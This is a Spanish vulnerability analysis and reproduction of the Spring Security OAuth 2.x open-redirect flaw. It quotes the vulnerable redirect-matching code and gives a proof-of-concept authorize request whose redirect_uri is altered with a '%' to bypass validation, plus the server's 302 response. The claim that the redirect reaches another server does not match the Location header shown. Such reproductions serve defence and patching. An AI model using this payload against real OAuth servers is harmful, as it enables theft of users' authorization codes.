
Spring Security OAuth 2.3 Redirección Abierta Análisis y reproducción
Spring Security OAuth 2.3 Redirección Abierta 分析复现篇
Las versiones de Spring Security OAuth 2.3 anteriores a 2.3.6, 2.2 anteriores a 2.2.5, 2.1 anteriores a 2.1.5 y 2.0 anteriores a 2.0.18, así como versiones antiguas no compatibles, podrían ser susceptibles a un ataque de redireccionador abierto que puede filtrar un código de autorización. Un usuario malicioso o atacante puede crear una solicitud al punto final de autorización usando el tipo de concesión de código de autorización, y especificar una URI de redirección manipulada a través del parámetro redirect_uri. Esto puede hacer que el servidor de autorización redirija el agente de usuario del propietario del recurso a una URI bajo el control del atacante con el código de autorización filtrado.
#VULNERABILIDAD: Al manipular el parámetro REDIRECT_URI, un atacante puede realmente eludir la validación.
El código que causa la vulnerabilidad se encuentra en el paquete org.springframework.security.oauth2.provider.endpoint La clase: DefaultRedirectResolver, cuyo método obtainMatchingRedirect no realiza una sanitización adecuada
/** * Attempt to match one of the registered URIs to the that of the requested one. * * @param redirectUris the set of the registered URIs to try and find a match. This cannot be null or empty. * @param requestedRedirect the URI used as part of the request * @return the matching URI * @throws RedirectMismatchException if no match was found */ private String obtainMatchingRedirect(Set redirectUris, String requestedRedirect) { Assert.notEmpty(redirectUris, "Redirect URIs cannot be empty");
if (redirectUris.size() == 1 && requestedRedirect == null) {
return redirectUris.iterator().next();
}
for (String redirectUri : redirectUris) {
if (requestedRedirect != null && redirectMatches(requestedRedirect, redirectUri)) {
return requestedRedirect;
}
}
throw new RedirectMismatchException("Invalid redirect: " + requestedRedirect
+ " does not match one of the registered values: " + redirectUris.toString());
}
#POC VECTOR DE ATAQUE La siguiente solicitud realizada por la APLICACIÓN CLIENTE después de que el usuario haya iniciado sesión, contiene el parámetro REDIRECT_URI. La validación se elude simplemente añadiendo un signo de porcentaje, lo que desencadena una redirección en lugar del error RedirectMismatchException
La SOLICITUD ORIGINAL que contiene una URI válida: GET /auth/oauth/authorize?response_type=code&client_id=R2dpxQ3vPrtfgF72&scope=user_info&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D&redirect_uri=http://localhost:8086/login/oauth2/code/ HTTP/1.1
El atacante engaña entonces a la aplicación cambiando completamente la URI a otro servidor añadiendo un porcentaje, por ejemplo:
GET /auth/oauth/authorize?response_type=code&client_id=R2dpxQ3vPrtfgF72&scope=user_info&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D&redirect_uri=http://%localhost:9000/login/oauth2/code/ HTTP/1.1 Host: localhost:8085 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost:8085/auth/login Connection: close Cookie: JSESSIONID=3394FD89204BE407CB585881755C0828; JSESSIONID=C0F1D5A2F1944DCB43F2BFFA416B7A63 Upgrade-Insecure-Requests: 1
La RESPUESTA de hecho no produce un error OAUTH esperado sino que redirige al usuario:
HTTP/1.1 302 Cache-Control: no-store X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-Frame-Options: DENY Location: http://localhost:8086/login/oauth2/code/?code=4ecsea&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D Content-Language: en-US Content-Length: 0 Date: Mon, 17 Jun 2019 11:06:18 GMT Connection: close